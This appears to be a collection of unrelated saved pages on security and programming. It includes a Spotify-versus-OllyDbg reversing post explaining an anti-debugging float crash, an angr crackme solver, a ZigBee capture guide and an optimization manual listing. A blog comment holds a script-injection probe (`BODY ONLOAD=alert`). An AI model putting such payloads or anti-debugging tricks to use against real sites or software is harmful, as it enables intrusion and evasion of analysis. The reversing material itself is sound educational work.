        "header": "Attribute VB_Name = \"ThisWorkbook\"\r\nAttribute VB_B"
      },
      "vb_metadata": {
        "tokens": [
          "Token.Name",
          "Token.Operator",
          "Token.Literal.String",
          "Token.Text",
          "Token.Keyword"
        ],
        "names": [
          "Attribute",
          "VB_Name",
          "VB_Base",
          "VB_GlobalNameSpace",
          "VB_Creatable",
          "VB_PredeclaredId",
          "VB_Exposed",
          "VB_TemplateDerived",
          "VB_Customizable"
        ],
        "operators": [
          "="
        ],
        "strings": [
          "ThisWorkbook",
          "0{00020819-0000-0000-C000-000000000046}"
        ]
      },
      "mmbot_metadata": {
        "confidence": 0.94,
        "prediction": "benign",
        "lang_features": "cpl_codepanes_declare_getselection_calendar",
        "avg_param_per_func": 0,
        "cnt_comment_loc_ratio": 0,
        "cnt_comments": 0,
        "cnt_function_loc_ratio": 0,
        "cnt_functions": 0,
        "cnt_loc": 8,
        "entropy_chars": 2.37,
        "entropy_func_names": 0,
        "entropy_words": 3.35,
        "mean_loc_per_func": 8
      },
      "flags": [
        "ScanYara::compiling_error"
      ],
      "flavors": {
        "yara": [
          "vb_file"
        ],
        "mime": [
          "text/plain"
        ]
      }
    }json
[/code]

## Contributing

Guidelines for contributing can be found here.

## Related Projects

  * Laika BOSS
  * File Scanning Framework
  * Assemblyline

## Licensing

Strelka and its associated code is released under the terms of the Apache 2.0
license.

  

# Spotify vs OllyDbg

**Created:**| _12/12/2009 4:50:24 PM_  
---|---  
**Updated:**| _12/12/2009 4:50:42 PM_  
**Author:**| __  
**Tags:**| _O RLY reversing_  
  

# Spotify vs OllyDbg

Spotify for Windows contains code  _so awesome_ that OllyDbg can't look at it
without crashing.

The protection exploits, among other things, a Borland library bug that
apparently has gone undetected since 1991. Let's start at the beginning.

If you haven't seen it, Spotify is a music player similar to iTunes, except
that it uses a massive distributed music library. It's ad-supported \(banners
+ occasional radio ads\), but comes with a nice party mode: If you're using it
as a jukebox for your party, you can pay a token $1 to disable the ads for the
day.

OllyDbg is a lovely Windows debugger written by Oleh Yuschuk.

## For some reason, they trust Mac users

The Macintosh version of Spotify has no anti-debugger protection at all, which
is extremely odd for a product like this. It even logs readable debug output
directly to the console, so you can pinpoint e.g. the ad loading routines
using nothing but dtrace:

[code]

    sudo dtrace -n 'syscall::write*:entry /execname == "Spotify" && arg0 == 2/ 
       { trace(copyinstr(arg1)); ustack(); }'
    
    
[/code]

This prints a stack trace every time something is written on `stderr`. Just by
looking at the stack traces, you can get a reasonable overview of what is
going on:

#### "Found audio ad"

[code]

    libSystem`write+0xa
    libSystem`__sfvwrite+0xac
    libSystem`fwrite+0x74
    Spotify`0x71db6
    Spotify`0x720fe
    Spotify`0x71e5a
    Spotify`0x71a9b
    Spotify`0x71b48
    Spotify`0xb461b
    Spotify`0xab0d2
    Spotify`0xab1fc
    Spotify`0xebf68
    Spotify`0x64ee4
    Spotify`0x65bf7
    Spotify`0x669a3
    Spotify`0x66e05
    Spotify`0x13051
    Spotify`0x44ba1
    Spotify`0x4b48b
    Spotify`0x7ea8e
    
[/code]

|

#### "Found banner ad"

[code]

    libSystem`write+0xa
    libSystem`__sfvwrite+0xac
    libSystem`fwrite+0x74
    Spotify`0x71db6
    Spotify`0x720fe
    Spotify`0x71e5a
    Spotify`0x71a9b
    Spotify`0x71b48
    Spotify`0xb461b
    Spotify`0xab0d2
    Spotify`0xab1fc
    Spotify`0xedc6a
    Spotify`0x125a0
    Spotify`0x130fe
    Spotify`0x44ba1
    Spotify`0x4b48b
    Spotify`0x7ea8e
    Spotify`0x7e9ec
    Spotify`0x6ea6
    
[/code]

|

#### Some other message

[code]

    libSystem`write+0xa
    libSystem`__sfvwrite+0xac
    libSystem`fwrite+0x74
    Spotify`0x71db6
    Spotify`0x720fe
    Spotify`0x71e5a
    Spotify`0x71a9b
    Spotify`0x71b48
    Spotify`0xb461b
    Spotify`0x107fd5
    Spotify`0xb4a79
    Spotify`0xce3db
    Spotify`0xce587
    
[/code]  
---|---|---  
The blue part is common to every log entry. Presumably the entries in the
0x71000 range correspond to the `printf` family of functions, the function at
0xb461b is a custom `log()` function, and the red part is ad-related :\)

## On Windows

On Windows, it's an entirely different matter. The application is suitably
paranoid, and merely starting a debugger on the same machine is enough to make
it run for cover.

The first stage of the loader is a simple `xor/add` decryption loop.

<img src='img/Temp2_7681.png' />

First decryption loop

Being lazy, you could try stepping through it using OllyDbg. If you do, an
interesting thing happens. As soon as you try to step through the jump to the
newly-decrypted code, OllyDbg  _locks up_. If you go back and try again, it
turns out you don't actually have to run the decrypted code for it to crash;
merely  _looking at it_ is enough. The application hasn't accessed anything
outside of its own memory space yet, so it shouldn't be able to influence the
debugger. Maybe some obscure opcode sequence is able to throw Olly's
disassembler into an infinite loop?

If you suspect a bug in your debugger, the obvious thing to do is to debug it.
Now, if you try loading a copy of Olly into Olly, then loading Spotify into
the innermost debugger, something rather baffling happens:  _Both debuggers
crash_. In fact, you can crash a whole stack of debuggers at once.

## The Medusa float

By having a disassembly window open while stepping through the decryption
routine, you can narrow it down to a single float-point constant which
apparently is impossible to display \(this screenshot is from the patched
version of OllyDbg\):

<img src='img/Temp2_7678.png' />

"Dangerous" floating point constant \(in Spotify\)

The crash happens in this routine, which is supposed to convert an 80-bit
floating point number \(`long double`\) into an unsigned 64-bit integer
\(`long long`\):

<img src='img/Temp2_7679.png' />

Float-to-int conversion routine \(in OllyDbg\)

In pseudo-C, the routine does something like this:

[code]

    // convert a float to an unsigned integer, given 0 <= float < 2^64
    
    void float80_to_uint64(float80* in_ptr, uint64* out_ptr) {
       if (float < 2^63) {
         // the number won't overflow, so it's safe
         // to use a signed conversion
         float80_to_int64(in_ptr, (int64*) out_ptr);
       } else {
         // 80-bit floats have an explicit 1 in the mantissa, so we can just
         // copy the raw bits if the exponent is exactly 63
         *out_ptr = *(uint64*)in_ptr;
       } 
    }
    
    
[/code]

... where the `float80_to_int64` subroutine is implemented using the `FIST`
instruction, which raises a floating point exception if the number does not
fit into a signed 64-bit integer.

The red comment, of course, is wrong. An 80-bit float has 64 bits of
precision, so with an exponent of 63 it is possible to pass in a value of

[code]

    2^63 - 0.5 = 111111111111111111111111111111111111111111111111111111111111111.1
    
[/code]

... which, while intially less than 2^63, will round up to 2^63 when converted
to an integer. That number is not representable as a signed 64-bit int, and
the FPU throws an exception. The debugger dies, and since the bad number is
still on the FPU stack, it is able to kill the next debugger as well.

To see it in action, try setting one of the FPU registers to `403D FFFFFFFF
FFFFFFFF` hex. As soon as the last character is typed, the debugger dies:

<img src='img/Temp2_7676.png' />

Try this at home

The faulty routine is actually part of the run-time libraries shipped with the
Borland C++ compiler. To verify, you can compile the following program
with`bcc32` and watch it crash in `printf()`.

<img src='img/Temp2_7677.png' />

The middle window shows the result as compiled with GCC; the right shows the
buggy version: One bit of accuracy is lost in the conversion, and the
last`printf()` crashed.

## A workaround

Load OllyDbg in itself, and search \(Ctrl-S\) for the instruction sequence

[code]

    fld [ra]
    fistp [rb]
    
[/code]

When you find this routine,

<img src='img/Temp2_7679.png' />

Original float-to-int routine

... replace it with something like

<img src='img/Temp2_7680.png' />

Patched float-to-int routine

The `and` will clear the least significant bit of the float before doing the
conversion, narrowly avoiding the bad case.

To make room for the added code, the patch exploits the fact that the function
is called with input and output to the same buffer, so the last 5 lines of the
original are unnecessary.

## Comments

Wow, nice catch mr\! And thanks for a very interesting read. \(there are btw a
few open source Spotify libraries and applications out there, though
inofficial, just checkout http://despotify.se\) I could hook you up with some
Hex-Rays images of how that routine used to look like some months ago if there
was just an email I could reach you on.

— bugtraq.org 2009-05-26

The loader is Themida but judging from your debugger sk1llz you already know
this..

— ;ppPPppPpp 2009-05-26

That's some fascinating stuff. Great writeup. I always love seeing the nuts
and bolts of stuff explained, especially in a writing style that makes it read
like an interesting short story.

— Unindignant 2009-05-26

I would guess that the reason for this is that it was written on windows or by
someone who write noid code for windows. When it was ported to mac, the care
wasn't necessary. Or the mac dev is a lazy hippy. :\)

— JT in MI 2009-05-26

Reading this reminded me of the copylock protection scheme from way back. Good
times.

— I fought the lock and I won 2009-05-26

\[Nice. Apparently you can still buy it\!\]

You sir are insane, and insane people can't write flawlessly. Did the ads
really bother you that much?

— Josh 2009-05-26

\[Not really. It's just for fun.\]

This is ridiculous\! How do you know how to do this? Good sleuthing.

— Alfonscius 2009-05-26

\[If I had known, it wouldn't be any fun.\]

you are awesome :\)

— Somebody who's impressed. Good article\! Thanks 2009-05-27

Grats on rediscovering a known/public anti-debugging trick. It's used by
Themida <which BTW is what Spotify is now protected with>. You can google some
things like "spotify themida" or take a look at: \[link\] Also, your text
editor won't let me use a closing parenthesis.

— Huhu 2009-05-27

\[Text editor?\! It's your browser\!\]

Doesn't surprise me. I have never seen an ad on spotify. I don't know why,
because I've never paid anything. I even looked for an ad, but still nothing.

— Scogle 2009-05-27

\[They seem to come in waves. I didn't see anything for the first few weeks.\]

`<BODY ONLOAD=alert('lmao')<`

— Aussie 2009-05-27

\[Really? Well, at least you didn't try to end it with an `</alert>` tag like
the last guy.\]

Reminds me of some magic numbers and 'unlikely' instruction combos that would
make pentiums lockup.. guess how they found those out?

— 2009-05-27

You might want to check out the related reddit discussion at: \[link\]

— Anonymous 2009-05-27

\[Thanks, I noticed :-\) I was more surprised to find that someone had posted
this to the scifi reddit.\]

I would have just paid the $1 token to remove the adds...

— One with common sense 2009-05-27

\[Now where's the fun in that?\]

# The Verification Corner - Microsoft Research

**Created:**| _12/7/2012 1:17:09 PM_  
---|---  
**Updated:**| _12/7/2012 1:17:09 PM_  
**Author:**| __  
**Tags:**| _verification loops constraint solving_  
  
  

The Verification Corner

<img src='img/Temp2_8345.png' width='367' height='331' alt='The Verification
Corner' />

The Verification Corner is a show on Channel9 that explains the different
concepts of software verification.

<img src='img/Temp2_8346.png' width='220' height='165' />

**Stepwise refinement - 10/8/2010**

In this episode, Kuat Yessenov and Rustan Leino, Principal Researcher in the
Research in Software Engineering \(RiSE\) group at Microsoft Research, show
how a program can be constructed by _stepwise refinement_.

  * Channel9 Movie and Podcasts
  * Chalice Sources \[zip\]

<img src='img/Temp2_8347.png' width='257' height='193' />

**Loop Termination - 3/29/2010** : In this episode, Rustan Leino shows how to
prove loop termination. During his demonstration, Rustan presents the
theoretical background information necessary to build the proof before
modeling it using the Dafny language.

  * Channel9 Movie and Podcasts
  * Dafny demo project \[zip\]

<img src='img/Temp2_8350.png' width='257' height='193' />

**Specifications in Action - The Chunker - 3/1/2010:** In this episode, Rustan
Leino writes a string chunker using Spec\#. He gives a brief overview how one
can specify and implement a program while getting the help from the Spec\#
verifier.

  * Channel9 Movie and Podcasts
  * Spec\# Demo project \[.zip\]

<img src='img/Temp2_8349.png' width='257' height='193' />

**Loop Invariants - 1/12/2010:** In this episode, Rustan Leino talks about
Loop Invariants. He gives a brief summary of the theoretical foundations and
shows \(using a problem to compute cubes\) how a program can sometimes be
systematically constructed from its specifications.

  * Channel9 Movie and Podcasts
  * Whiteboard Slides \[pdf\] \[pptx\]
  * Spec\# Demo project \[.zip\]

# Episodes

  * 10/8/2010: Stepwise Refinement
  * 3/29/2010: Loop Termination
  * 3/01/2010: The Spec\# Chunker
  * 1/12/2010: Loop Invariants
  * All episodes \(RSS Feed\)

People

<img src='img/Temp2_8348.png' width='72' height='72' alt='Peli de Halleux' />

Peli de Halleux

  

<img src='img/Temp2_8344.png' width='72' height='72' alt='Rustan Leino' />

Rustan Leino

  

  

# gr\_ieee802\_15\_4 - Wiki - WiESEL

**Created:**| _6/8/2011 1:49:00 PM_  
---|---  
**Updated:**| _6/8/2011 1:49:00 PM_  
**Author:**| __  
**Tags:**| _USRP Gnuradio zigbee_  
  

# Transitioning Multi-Channel IEEE 802.15.4 Packet Capture¶

The paper that covers the design of this pipeline is located here:  
http://nesl.ee.ucla.edu/fw/zigbee\_capture/leslie\_choong\_multichannel\_ieee802154.pdf

Components to setup:

  * GNU Radio
  * USRP2
  * UCLA 802.15.4 code \(gr-ucla\)
  * Wireshark

## GNU Radio¶

Go to: http://gnuradio.org/trac/wiki/BuildGuide for instructions on building
the latest trunk of GNU Radio. They have operating System specific
instructions too. Might as well get USRP1 working too, which is at the bottom
of those instructions.

The GNU Radio mailing list is also a great place to search for help or post
questions. It is highly recommended to do a few searches of the list as many
problems have been covered before. http://lists.gnu.org/archive/html/discuss-
gnuradio/

It would also be a good idea to sign up with the list so you can get a sense
of the current project development as they do not keep the homepage up to date
all the time.

## USRP2¶

Go to: http://www.gnuradio.org/trac/wiki/USRP2

The Usage FAQ has setup instructions for getting the USRP2 setup for the
current trunk of GNU Radio. You must keep the FPGA AND Firmware up to date
with latest trunk of GNU Radio. To do this they normally have the pre-compiled
binary images of the FPGA and firmware available through:
http://gnuradio.org/releases/usrp2-bin/trunk/ but check the instructions as
this may change.

## Gr-UCLA code¶

To use the multichannel code check it out from this projects repository. This
includes LQI as well and will work with the Wireshark PHy layer I added.

[code]

    git clone git://wiesel.ece.utah.edu/gr-ieee802-15-4.git
[/code]

Build as usual  
`./bootstrap && ./configure && make sudo make install`

Example programs in src/examples to try out are:  
Single Channel:

[code]

    cc2420_rxtest.py -c 18  # Single Channel Capture on Channel 18
[/code]

[code]

    cc2420_multichannel.py -c 16 -g 35 -s -52 # Multi-Channel Capture 5 Channels starting at Channel 16
[/code]

[code]

    cc2420_txtest_usrp2.py -c 18 # Single Channel transmit on channel 18
[/code]

# Wireshark¶

Wireshark is the packet dissection and analyzer engine that we can output to.
It would be good to go to the developer's guide:
http://www.wireshark.org/docs/wsdg\_html\_chunked/ and read about the
architecture. They also have build instructions for the trunk. If you have a
normal install of Wireshark then you may want to install your dev version to
another place by using:

[code]

    ./configure --prefix=dirname
[/code]

So that on "make install" it will just put the compiled program in directory
"dirname"

The patch is available at:  
wireshark\_ieee8021514\_phy.diff

You can apply it by using patch in the wireshark trunk:  
patch -p0 -i ~/wireshark\_ieee8021514\_phy.diff

And then rebuilding and installing.

The patch for Wireshark was done with Trunk revision 27528. However it may
still work with the latest trunk. One thing to note is Wireshark's method of
defining new Dissection layers \(DLT\). The base IEEE 802.15.4 dissection type
is defined as: WTAP\_ENCAP\_IEEE802\_15\_4 and is located in
trunk/wiretap/libpcap.c

The patch adds another physical layer which you can see in the patch. A merge
might have conflicts if Wiretap adds another DLT type with the same number
that I chose.

In addition to another dissection layer I modified trunk/gtk/iostat\* for
visualization statistics of the IO Statistics plugin.

## Using the pipeline¶

Check the command line help notes for the scripts. You can normally change the
gain, squelch filter level, and the output file name. The program output
packets in the libpcap format \(which is readable by Wireshark\). I normally
use named pipes to redirect the capture packet data directly into Wireshark
for realtime capture:

`rm /tmp/pipe mkfifo /tmp/pipe # Start wireshark end sudo nice -n -5
/home/leslie/wireshark_build/bin/wireshark -k -i /tmp/pipe & #start the packet
capture script sudo nice -n -20 ./cc2420_multichannelrx.py -c 16 -g 35 -s -52
-f /tmp/pipe`

## Special Notes¶

Some systems have trouble keeping up with the data rate that the USRP2 dumps
samples over the link. To ensure that the system puts enough resources to the
demodulator, try enabling realtime scheduling by running the script with sudo
permissions. I also try nice-ing the process for a further boost:

[code]

    sudo nice -n -20 ./cc2420_rxtest.py -c 18
[/code]

In addition, the squelch level needs to be adjusted properly so that samples
containing packet signals do not get dropped but that the machine doesn't get
overloaded with samples \(unless you have a burly machine\). To check the
proper squelch level you can use ./usrp2\_fft.py to see the general noise
level at the decimation you use. Note that the dB scale on the displayed graph
is not correct, you can throw a squelch filter into the fft path to
iteratively find the proper squelch level.

## Testing the Pipeline¶

Use Telos motes programmed with a sample app like RadioCountToLeds or the
Oscilloscope app.

# Future Work¶

Find the sweet spot for gain: Motes placed further away \(30 ft\) are hard to
pickup by the USRP2 at the normal gain of 35 dB. Increasing the gain seems to
help, but then motes transmitting close \(3 ft\) get their samples clipped. So
find the sweet spot between 35 -70 dB that allows good reception of both
distant and proximal motes.

Add more channels: On a more powerful machine try to get 5 channels in 16-bit
sample mode. Or try to switch the USRP2 to 8-bit sample mode, which allows us
to capture up to 10 channels \(if we can process it all\!\). Check with recent
GNU Radio developments to see if this has been fully implemented.

Any questions can be directed to me \(Leslie\) at septikus@gmail.com or Thomas
:\)

leslie\_choong\_multichannel\_ieee802154.pdf \- Multi-channel IEEE 802.15.4
Packet Capture Using Software Defined Radio \(350,4 KB\) Thomas Schmid,
18.04.2011 11:49

wireshark\_ieee8021514\_phy.diff \(21,8 KB\) Thomas Schmid, 19.04.2011 09:30

wireshark\_r36719\_ieee802154\_phy.diff \(21,4 KB\) Thomas Schmid, 19.04.2011
13:13

# SAMATE Reference Dataset

**Created:**| _3/31/2011 8:59:41 AM_  
---|---  
**Updated:**| _3/31/2011 8:59:52 AM_  
**Author:**| __  
**Tags:**| _security software testing programming_  
  

Only registered users can create a test suite.

## Stand-alone Suites

Link | Creation Date | Title | Description | Contributor | Nb of Cases  
---|---|---|---|---|---  
Download | Dec. 2010 | Juliet Test Suite for C/C++ | This is a collection of test cases in the C/C++ language. It contains examples for 116 different CWEs.  _This software is not subject to copyright protection and is in the public domain. NIST assumes no responsibility whatsoever for its use by other parties, and makes no guaranties, expressed or implied, about its quality, reliability, or any other characteristic._ |  | 45309  
Download | Dec. 2010 | Juliet Test Suite for Java | This is a collection of test cases in the Java language. It contains examples for 106 different CWEs.  _This software is not subject to copyright protection and is in the public domain. NIST assumes no responsibility whatsoever for its use by other parties, and makes no guaranties, expressed or implied, about its quality, reliability, or any other characteristic._ |  | 13782  
## SRD Suites

**Results:** 18 Test Suites.  

Test Suite ID | Creation Date | Title | Description | Contributor | Nb of Cases  
---|---|---|---|---|---  
6 | 2006-06-23 | ABM 1.0.1 | Fortify Software's Analyzer BenchMark v. 1.0.1 | Jeff Meister | 112  
9 | 2006-07-11 | Test suite \(2006/07/11 18:32:50\) | _None_ | Redge Bartholomew | 5  
17 | 2006-08-09 | CANDIDATE Source Code Analysis Tool Functional Specification Test Suite | This test suite containsl all test cases that can be used to test a general purpose, production source code analysis tool implementation against the SAMATE Source Code Analysis Tool Functional Specification. | SAMATE Team Staff | 34  
27 | 2006-10-18 | MS | _None_ | Eric D. | 25  
31 | 2006-10-24 | Web Applications in PHP | The PHP Test cases | Romain Gaucher | 15  
45 | 2007-01-24 | C Test Suite for Source Code Analyzer - weakness | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-1 through SCAN-RM-5 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 77  
46 | 2007-02-05 | C Test Suite for Source Code Analyzer - false positive | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-6 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 73  
47 | 2007-02-05 | C Test Suite for Source Code Analyzer - weakness suppresion | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RO-2 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 21  
50 | 2007-08-23 | test | Just a temp container for downloading C++ code"'<> | Romain Gaucher | 48  
52 | 2007-09-11 | Buffer overflow examples for VVSG static analysis tool evaluations | This collection of source code examples can be used by voting system test labs to determine if a source code analysis tool can \( at a minimum \) identify a basic buffer overflow condition. | Michael Kass | 0  
57 | 2007-12-06 | C++ Test Suite for Source Code Analyzer - weakness | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-1 through SCAN-RM-5 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 38  
58 | 2007-12-06 | C++ Test Suite for Source Code Analyzer - false positive | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-6 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 38  
59 | 2007-12-06 | C++ Test Suite for Source Code Analyzer - weakness suppresion | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RO-2 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 13  
63 | 2010-02-04 | Java Test Suite for Source Code Analyzer - weakness | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-1 through SCAN-RM-5 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 0  
64 | 2010-02-04 | Java Test Suite for Source Code Analyzer - false positive | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RM-6 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 26  
65 | 2010-02-04 | Java Test Suite for Source Code Analyzer - weakness suppresion | This test suite tests against Source Code Security Analyzer based on functional requirements SCA-RO-2 specified in "Source Code Security Analysis Tool Functional Specification" | Michael Koo | 27  
  

# Coding | Reversing: Revisiting find the flag crackme \(Part-2\)
**Created:**| _8/15/2016 1:48:07 PM_  
---|---  
**Updated:**| _8/15/2016 1:48:07 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  Revisiting find the flag crackme \(Part-2\)

This is the 2nd and final part of the series find the flag crackme.  
  

##  Back to the challenge

Coming back to the challenge, we will see how we can use symbolic execution
for solving the challenge. We can use Z3 for representing the system
symbolically but that is too much of a work as we need to convert each
instruction to its Z3 equivalent. Hence we need to look at alternatives which
will do this work automatically.

  

##  Enter angr

_Theangr project is the next-generation binary analysis framework created by
the computer security lab at UC Santa Barbara_. Among its myriads of
capabilities, it can lift a raw binary to an intermediate language and perform
symbolic execution on it, just the thing we are looking for. Additionally, it
can be instructed to search for paths that lead to the execution of a
particular instruction. It can also find out what initial values \(in
registers / memory etc\) will lead to the execution of a particular path.

  

For this particular challenge, we need to find the path that will print the
good boy message while avoiding the path printing the bad boy message. angr
can then automatically found out the flag which will lead to the execution of
this path. This is no magic but done through the power of symbolic execution
and constraint solving.

  

Installing angr is pretty straightforward and well documented. Hence I will
dive right into the actual problem.

  

##  Solving with angr

First we need to keep a note of some information about the binary.

The check function starts at VA **0x804846D**.

<img src='img/checkstartaddr.png' width='367' height='165' alt='Start of Check
Function' />  
---  
Start of Check function  
  

The basic block we want to execute is **0x8049A52** and the one we want to
avoid is **0x8049A60**.

<img src='img/goodboybadboy.png' width='640' height='96' alt='The basic block
on the left is the good boy' />  
---  
The basic block on the left is the good boy  
  

The check function is called from 0x8049A44. Hence after returning execution
resumes at **0x8049A49**.

<img src='img/checkcaller.png' width='358' height='108' alt='Execution resumes
at 0x8049A49 after return' />  
---  
Execution resumes at 0x8049A49 after return  
The flag is stored in an array at VA **0x804B060**.

<img src='img/flag.png' width='640' height='96' alt='VA of the flag' />  
---  
VA of the flag  
  

With the above information we can develop the solver in angr.

  

1 | \#\!/usr/bin/python  
---|---  
2 |   
3 | import angr  
4 | import simuvex  
5 |   
6 | def main\(\):  
7 |  print '\[\*\] Loading file...'  
8 |   
9 |  \# Create a new project, do not load shared libs  
10 |  proj = angr.Project\('findtheflag', load\_options=\{'auto\_load\_libs': False\}\)  
11 |   
12 |  print '\[\*\] Setting up initial state'  
13 |   
14 |  \# Create a blank state at the start of check function  
15 |  initial\_state = proj.factory.blank\_state\(addr=0x804846D, remove\_options=\{simuvex.o.LAZY\_SOLVES\}\)  
16 |   
17 |  \# The flag is a bit vector containing 30 bytes, each byte contains 8 bits  
18 |  initial\_state.mem\[0x804B060\] = initial\_state.se.BVS\('flag', 30\*8\)  
19 |   
20 |  \# Setup return address  
21 |  initial\_state.mem\[initial\_state.regs.esp\].dword = 0x8049A49  
22 |   
23 |  \# path from the state  
24 |  initial\_path = proj.factory.path\(initial\_state\)  
25 |   
26 |  \# Veritesting is important to avoid unnecessary branching and path explosion  
27 |  \# Read more here: https://users.ece.cmu.edu/~aavgerin/papers/veritesting-icse-2014.pdf  
28 |  exp = angr.surveyors.Explorer\(proj, start=initial\_path, find=\(0x8049A52,\), avoid = \(0x8049A60,\), enable\_veritesting=True\)  
29 |   
30 |  print '\[\*\] Finding the flag, please wait...'  
31 |   
32 |  \# GO, Go, go ...  
33 |  result = exp.run\(\)  
34 |   
35 |  if result.found:  
36 |  found\_state = result.found\[0\].state  
37 |  print '\nFlag is:', found\_state.se.any\_str\(found\_state.memory.load\(0x804B060, 30\)\)  
38 |   
39 | if \_\_name\_\_ == '\_\_main\_\_':  
40 |  \# Enable logging  
41 |  angr.path\_group.l.setLevel\("DEBUG"\)  
42 |  main\(\)  
view raw findtheflagsolver.py hosted with ❤ by GitHub

Running on CPython the script takes about a couple of minutes to find the
flag. This is quite an impressive feat considering that we did not even
analyzed the check function itself. Furthermore, we could have reduced the
execution time by running on PyPy instead of CPython.

  

And finally, to end things with, here is an asciicast showing the solver in
action. You can download the files that were used in this post from google
drive.

Posted by  Extreme Coders at 00:05:00 <img src='img/2138_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: angr, constraint satisfaction, ida, symbolic execution

  

  *[00:05:00]: 2016-03-10T00:05:00+05:30

# Software optimization resources. C++ and assembly. Windows, Linux, BSD, Mac
OS X

**Created:**| _10/29/2013 9:33:29 AM_  
---|---  
**Updated:**| _10/29/2013 9:33:29 AM_  
**Author:**| __  
**Tags:**| _C++ compiler-building C optimisation_  
  

# **S** oftware optimization resources****

See also my blog

## Contents****

* * *
## Optimization manuals****

This series of five manuals describes everything you need to know about
optimizing code for x86 and x86-64 family microprocessors, including
optimization advices for C++ and assembly language, details about the
microarchitecture and instruction timings of most Intel, AMD and VIA
processors, and details about different compilers and calling conventions**.**

Operating systems covered: DOS, Windows, Linux, BSD, Mac OS X Intel based, 32
and 64 bits**.**

Note that these manuals are not for beginners**.**

1**.** Optimizing software in C++: An optimization guide for Windows, Linux
and Mac platforms

    This is an optimization manual for advanced C++ programmers**.** Topics include: The choice of platform and operating system**.** Choice of compiler and framework. Finding performance bottlenecks**.** The efficiency of different C++ constructs. Multi-core systems. Parallelization with vector operations**.** CPU dispatching. Efficient container class templates**.** Etc.   
  
_File name_ : optimizing\_cpp.pdf, size: 1008262, last modified:
2013-Oct-07**.**  
Download .  

2**.** Optimizing subroutines in assembly language: An optimization guide for
x86 platforms

    This is an optimization manual for advanced assembly language programmers and compiler makers**.** Topics include: C++ instrinsic functions, inline assembly and stand-alone assembly**.** Linking optimized assembly subroutines into high level language programs. Making subroutine libraries compatible with multiple compilers and operating systems. Optimizing for speed or size**.** Memory access. Loops. Vector programming \(XMM, YMM, SIMD\)**.** CPU-specific optimization and CPU dispatching.   
  
_File name_ : optimizing\_assembly.pdf, size: 965119, last modified:
2013-Oct-07**.**  
Download .  

3**.** The microarchitecture of Intel, AMD and VIA CPUs: An optimization guide
for assembly programmers and compiler makers

    This manual contains details about the internal working of various microprocessors from Intel, AMD and VIA**.** Topics include: Out-of-order execution, register renaming, pipeline structure, execution unit organization and branch prediction algorithms for each type of microprocessor**.** Describes many details that cannot be found in manuals from microprocessor vendors or anywhere else**.** The information is based on my own research and measurements rather than on official sources**.** This information will be useful to programmers who want to make CPU-specific optimizations as well as to compiler makers and students of microarchitecture**.**   
  
_File name_ : microarchitecture.pdf, size: 1610541, last modified:
2013-Oct-07**.**  
Download .  

4**.** Instruction tables: Lists of instruction latencies, throughputs and
micro-operation breakdowns for Intel, AMD and VIA CPUs

    Contains detailed lists of instruction latencies, execution unit throughputs, micro-operation breakdown and other details for all common application instructions of most microprocessors from Intel, AMD and VIA**.** Intended as an appendix to the preceding manuals. Available as pdf file and as spreadsheet \(ods format\)**.**   
  
_File name_ : instruction\_tables.pdf, size: 843089, last modified:
2013-Oct-07**.**  
Download .  
  
_File name_ : instruction\_tables.ods, size: 288940, last modified:
2013-Oct-06**.**  
Download .  

5**.** Calling conventions for different C++ compilers and operating systems

    This document contains details about data representation, function calling conventions, register usage conventions, name mangling schemes, etc**.** for many different C++ compilers and operating systems. Discusses compatibilities and incompatibilities between different C++ compilers**.** Includes information that is not covered by the official Application Binary Interface standards \(ABI's\)**.** The information provided here is based on my own research and therefore descriptive rather than normative**.** Intended as a source of reference for programmers who want to make function libraries compatible with multiple compilers or operating systems and for makers of compilers and other development tools who want their tools to be compatible with existing tools**.**   
  
_File name_ : calling\_conventions.pdf, size: 506036, last modified:
2013-Oct-07**.**  
Download .  

All five manuals

    Download all the above manuals together in one zip file**.**   
  
_File name_ : optimization\_manuals.zip, size: 4192959, last modified:
2013-Oct-07**.**  
Download **.**  

* * *
## C++ vector class library****

This is a collection of C++ classes, functions and operators that makes it
easier to use the the vector instructions \(Single Instruction Multiple Data
instructions\) of modern CPUs without using assembly language**.** Supports
the SSE2, SSE3, SSSE3, SSE4**.** 1, SSE4.2, AVX, AVX2, FMA, and XOP
instruction sets**.** Can compile for different instruction sets from the same
source code**.** Description and instructions . Message board .

_File name_ : vectorclass.zip, size: 489667, last modified: 2013-Oct-04**.**  
Download .

* * *
## Object file converter****

This utility can be used for converting object files between COFF/PE, OMF, ELF
and Mach-O formats for all 32-bit and 64-bit x86 platforms. Can modify symbol
names in object files**.** Can build, modify and convert function libraries
across platforms. Can dump object files and executable files**.** Also
includes a very good disassembler supporting the SSE4, AVX, AVX2, AVX512,
FMA3, FMA4, XOP and Knights Corner instruction sets**.** Source code included
\(GPL\). Manual **.**

_File name_ : objconv.zip, size: 814268, last modified: 2013-Oct-16**.**  
Download **.**

* * *
## Subroutine library****

This is a library of optimized subroutines coded in assembly language**.** The
functions in this library can be called from C, C++ and other compiled high-
level languages**.** Supports many different compilers under Windows, Linux,
BSD and Mac OS X operating systems, 32 and 64 bits**.** This library contains
faster versions of common C/C++ memory and string functions, fast functions
for string search and string parsing, fast integer division and integer vector
division, as well as several useful functions not found elsewhere**.**

The package contains library files in many different file formats, C++ header
file and assembly language source code**.** Gnu general public license
applies**.** Manual .

_File name_ : asmlib.zip, size: 706426, last modified: 2013-Oct-06**.**  
Download .

* * *
## Test programs for measuring clock cycles and performance monitoring****

Test programs that I have used for my research**.** Can measure clock cycles
and performance monitor counters such as cache misses, branch mispredictions,
resource stalls etc**.** in a small piece of code in C, C++ or assembly**.**
